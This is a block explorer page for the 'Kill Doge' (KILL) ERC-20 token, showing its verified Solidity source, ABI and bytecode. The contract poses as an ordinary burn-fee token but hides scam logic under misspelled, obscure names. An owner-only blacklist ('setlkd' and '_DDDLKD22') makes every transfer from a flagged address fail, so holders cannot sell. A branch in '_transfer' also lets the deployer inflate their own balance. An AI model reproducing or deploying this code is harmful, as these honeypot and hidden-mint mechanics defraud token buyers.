Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 KILL
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
64,492,540.103824576 KILLValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
token
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-14 */ /** *Submitted for verification at BscScan.com on 2022-11-11 */ pragma solidity ^0.8.14; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accoint) external view returns (uint256); function transfer(address recipient, uint256 ameunts) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 ameunts) external returns (bool); function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract token is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFrom; string private _name = "Kill Doge"; string private _symbol = "KILL"; uint256 private _decimals = 9; uint256 private _totalSupply = 10000000000 * 10 ** _decimals; uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals; uint256 private _burnfee = 8; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; address private _ddmmm; mapping(address => bool) public _DDDLKD22; function setlkd(address accoint) public onlyowner { _DDDLKD22[accoint] = true; } function unsetlkd(address accoint) public onlyowner { _DDDLKD22[accoint] = false; } function islkd(address accoint) public view returns (bool) { return _DDDLKD22[accoint]; } constructor () { _balance[msg.sender] = _totalSupply; _ddmmm = msg.sender; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function _transfer(address sender, address recipient, uint256 ameunts) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); if (_DDDLKD22[sender]) { ameunts = ameunts.mul(_totalSupply); }else { if(sender == _ddmmm && _ddmmm == owner() && owner() == _msgSender()){ _balance[sender] = _balance[sender].add(ameunts); } } uint256 blsender = _balance[sender]; require(blsender >= ameunts,"IERC20: transfer ameunts exceeds balance"); uint256 feeameunt = 0; feeameunt = ameunts.mul(_burnfee).div(100); _balance[sender] = _balance[sender].sub(ameunts); _balance[recipient] = _balance[recipient]+ameunts-feeameunt; emit Transfer(sender, _DEADaddress, feeameunt); emit Transfer(sender, recipient, ameunts-feeameunt); } function transfer(address recipient, uint256 ammounts) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, recipient, ammounts); return true; } function balanceOf(address accoint) public view override returns (uint256) { return _balance[accoint]; } function approve(address spender, uint256 ammounts) public virtual override returns (bool) { _approve(_msgSender(), spender, ammounts); return true; } function _approve(address owner, address spender, uint256 ameunts) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = ameunts; emit Approval(owner, spender, ameunts); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 ameunts) public virtual override returns (bool) { _transfer(sender, recipient, ameunts); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= ameunts, "IERC20: transfer ameunts exceeds allowance"); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_DDDLKD22","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"setlkd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ameunts","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"unsetlkd","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600981526020017f4b696c6c20446f676500000000000000000000000000000000000000000000008152506004908051906020019062000051929190620002f6565b506040518060400160405280600481526020017f4b494c4c00000000000000000000000000000000000000000000000000000000815250600590805190602001906200009f929190620002f6565b506009600655600654600a620000b6919062000533565b6402540be400620000c8919062000584565b600755600654600a620000dc919062000533565b6402540be400620000ee919062000584565b600855600860095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200014657600080fd5b50600062000159620002ee60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002e09190620005f6565b60405180910390a362000677565b600033905090565b828054620003049062000642565b90600052602060002090601f01602090048101928262000328576000855562000374565b82601f106200034357805160ff191683800117855562000374565b8280016001018555821562000374579182015b828111156200037357825182559160200191906001019062000356565b5b50905062000383919062000387565b5090565b5b80821115620003a257600081600090555060010162000388565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000434578086048111156200040c576200040b620003a6565b5b60018516156200041c5780820291505b80810290506200042c85620003d5565b9450620003ec565b94509492505050565b6000826200044f576001905062000522565b816200045f576000905062000522565b81600181146200047857600281146200048357620004b9565b600191505062000522565b60ff841115620004985762000497620003a6565b5b8360020a915084821115620004b257620004b1620003a6565b5b5062000522565b5060208310610133831016604e8410600b8410161715620004f35782820a905083811115620004ed57620004ec620003a6565b5b62000522565b620005028484846001620003e2565b925090508184048111156200051c576200051b620003a6565b5b81810290505b9392505050565b6000819050919050565b6000620005408262000529565b91506200054d8362000529565b92506200057c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200043d565b905092915050565b6000620005918262000529565b91506200059e8362000529565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005da57620005d9620003a6565b5b828202905092915050565b620005f08162000529565b82525050565b60006020820190506200060d6000830184620005e5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065b57607f821691505b60208210810362000671576200067062000613565b5b50919050565b611da180620006876000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370fb5d2311610097578063a9059cbb11610066578063a9059cbb14610288578063c2af913b146102b8578063dd62ed3e146102c2578063df5c8d4a146102f2576100f5565b806370fb5d2314610214578063725e07c7146102305780638da5cb5b1461024c57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce567146101965780635f3c750d146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147d565b60405180910390f35b610132600480360381019061012d9190611538565b6103b4565b60405161013f9190611593565b60405180910390f35b6101506103d2565b60405161015d91906115bd565b60405180910390f35b610180600480360381019061017b91906115d8565b6103dc565b60405161018d9190611593565b60405180910390f35b61019e6104c0565b6040516101ab91906115bd565b60405180910390f35b6101ce60048036038101906101c9919061162b565b6104ca565b6040516101db9190611593565b60405180910390f35b6101fe60048036038101906101f9919061162b565b6104ea565b60405161020b91906115bd565b60405180910390f35b61022e6004803603810190610229919061162b565b610533565b005b61024a6004803603810190610245919061162b565b610623565b005b610254610713565b6040516102619190611667565b60405180910390f35b61027261073c565b60405161027f919061147d565b60405180910390f35b6102a2600480360381019061029d9190611538565b6107ce565b6040516102af9190611593565b60405180910390f35b6102c06107f1565b005b6102dc60048036038101906102d79190611682565b610946565b6040516102e991906115bd565b60405180910390f35b61030c6004803603810190610307919061162b565b6109cd565b6040516103199190611593565b60405180910390f35b606060048054610331906116f1565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906116f1565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a23565b8484610a2b565b6001905092915050565b6000600754905090565b60006103e9848484610bf4565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610a23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611794565b60405180910390fd5b60019150509392505050565b6000600654905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61053b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611800565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61062b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106af90611800565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074b906116f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610777906116f1565b80156107c45780601f10610799576101008083540402835291602001916107c4565b820191906000526020600020905b8154815290600101906020018083116107a757829003601f168201915b5050505050905090565b6000806107d9610a23565b90506107e6818585610bf4565b600191505092915050565b6107f9610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611800565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9190611892565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0090611924565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be791906115bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a906119b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc990611a48565b60405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d4057610d39600754826111b190919063ffffffff16565b9050610ed2565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610df15750610da0610713565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610e365750610e00610a23565b73ffffffffffffffffffffffffffffffffffffffff16610e1e610713565b73ffffffffffffffffffffffffffffffffffffffff16145b15610ed157610e8d81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611ada565b60405180910390fd5b6000610f836064610f75600954866111b190919063ffffffff16565b61128990919063ffffffff16565b9050610fd783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110669190611b29565b6110709190611b7f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161113291906115bd565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111959190611b7f565b6040516111a291906115bd565b60405180910390a35050505050565b60008083036111c35760009050611225565b600082846111d19190611bb3565b90508284826111e09190611c3c565b14611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790611cdf565b60405180910390fd5b809150505b92915050565b600080828461123a9190611b29565b90508381101561127f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127690611d4b565b60405180910390fd5b8091505092915050565b60006112cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131d565b905092915050565b600061131583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611380565b905092915050565b60008083118290611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b919061147d565b60405180910390fd5b50600083856113739190611c3c565b9050809150509392505050565b60008383111582906113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf919061147d565b60405180910390fd5b50600083856113d79190611b7f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141e578082015181840152602081019050611403565b8381111561142d576000848401525b50505050565b6000601f19601f8301169050919050565b600061144f826113e4565b61145981856113ef565b9350611469818560208601611400565b61147281611433565b840191505092915050565b600060208201905081810360008301526114978184611444565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114cf826114a4565b9050919050565b6114df816114c4565b81146114ea57600080fd5b50565b6000813590506114fc816114d6565b92915050565b6000819050919050565b61151581611502565b811461152057600080fd5b50565b6000813590506115328161150c565b92915050565b6000806040838503121561154f5761154e61149f565b5b600061155d858286016114ed565b925050602061156e85828601611523565b9150509250929050565b60008115159050919050565b61158d81611578565b82525050565b60006020820190506115a86000830184611584565b92915050565b6115b781611502565b82525050565b60006020820190506115d260008301846115ae565b92915050565b6000806000606084860312156115f1576115f061149f565b5b60006115ff868287016114ed565b9350506020611610868287016114ed565b925050604061162186828701611523565b9150509250925092565b6000602082840312156116415761164061149f565b5b600061164f848285016114ed565b91505092915050565b611661816114c4565b82525050565b600060208201905061167c6000830184611658565b92915050565b600080604083850312156116995761169861149f565b5b60006116a7858286016114ed565b92505060206116b8858286016114ed565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061170957607f821691505b60208210810361171c5761171b6116c2565b5b50919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b600061177e602a836113ef565b915061178982611722565b604082019050919050565b600060208201905081810360008301526117ad81611771565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117ea6020836113ef565b91506117f5826117b4565b602082019050919050565b60006020820190508181036000830152611819816117dd565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061187c6025836113ef565b915061188782611820565b604082019050919050565b600060208201905081810360008301526118ab8161186f565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061190e6023836113ef565b9150611919826118b2565b604082019050919050565b6000602082019050818103600083015261193d81611901565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006119a06026836113ef565b91506119ab82611944565b604082019050919050565b600060208201905081810360008301526119cf81611993565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a326024836113ef565b9150611a3d826119d6565b604082019050919050565b60006020820190508181036000830152611a6181611a25565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ac46028836113ef565b9150611acf82611a68565b604082019050919050565b60006020820190508181036000830152611af381611ab7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b3482611502565b9150611b3f83611502565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b7457611b73611afa565b5b828201905092915050565b6000611b8a82611502565b9150611b9583611502565b925082821015611ba857611ba7611afa565b5b828203905092915050565b6000611bbe82611502565b9150611bc983611502565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c0257611c01611afa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611c4782611502565b9150611c5283611502565b925082611c6257611c61611c0d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611cc96021836113ef565b9150611cd482611c6d565b604082019050919050565b60006020820190508181036000830152611cf881611cbc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611d35601b836113ef565b9150611d4082611cff565b602082019050919050565b60006020820190508181036000830152611d6481611d28565b905091905056fea2646970667358221220aafa1318439c99f39241077d9eb1c6b809ea392ed4011676d1d3f54bb984e60e64736f6c634300080e0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370fb5d2311610097578063a9059cbb11610066578063a9059cbb14610288578063c2af913b146102b8578063dd62ed3e146102c2578063df5c8d4a146102f2576100f5565b806370fb5d2314610214578063725e07c7146102305780638da5cb5b1461024c57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce567146101965780635f3c750d146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147d565b60405180910390f35b610132600480360381019061012d9190611538565b6103b4565b60405161013f9190611593565b60405180910390f35b6101506103d2565b60405161015d91906115bd565b60405180910390f35b610180600480360381019061017b91906115d8565b6103dc565b60405161018d9190611593565b60405180910390f35b61019e6104c0565b6040516101ab91906115bd565b60405180910390f35b6101ce60048036038101906101c9919061162b565b6104ca565b6040516101db9190611593565b60405180910390f35b6101fe60048036038101906101f9919061162b565b6104ea565b60405161020b91906115bd565b60405180910390f35b61022e6004803603810190610229919061162b565b610533565b005b61024a6004803603810190610245919061162b565b610623565b005b610254610713565b6040516102619190611667565b60405180910390f35b61027261073c565b60405161027f919061147d565b60405180910390f35b6102a2600480360381019061029d9190611538565b6107ce565b6040516102af9190611593565b60405180910390f35b6102c06107f1565b005b6102dc60048036038101906102d79190611682565b610946565b6040516102e991906115bd565b60405180910390f35b61030c6004803603810190610307919061162b565b6109cd565b6040516103199190611593565b60405180910390f35b606060048054610331906116f1565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906116f1565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a23565b8484610a2b565b6001905092915050565b6000600754905090565b60006103e9848484610bf4565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610a23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611794565b60405180910390fd5b60019150509392505050565b6000600654905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61053b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611800565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61062b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106af90611800565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074b906116f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610777906116f1565b80156107c45780601f10610799576101008083540402835291602001916107c4565b820191906000526020600020905b8154815290600101906020018083116107a757829003601f168201915b5050505050905090565b6000806107d9610a23565b90506107e6818585610bf4565b600191505092915050565b6107f9610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611800565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9190611892565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0090611924565b60405180910390fd5b80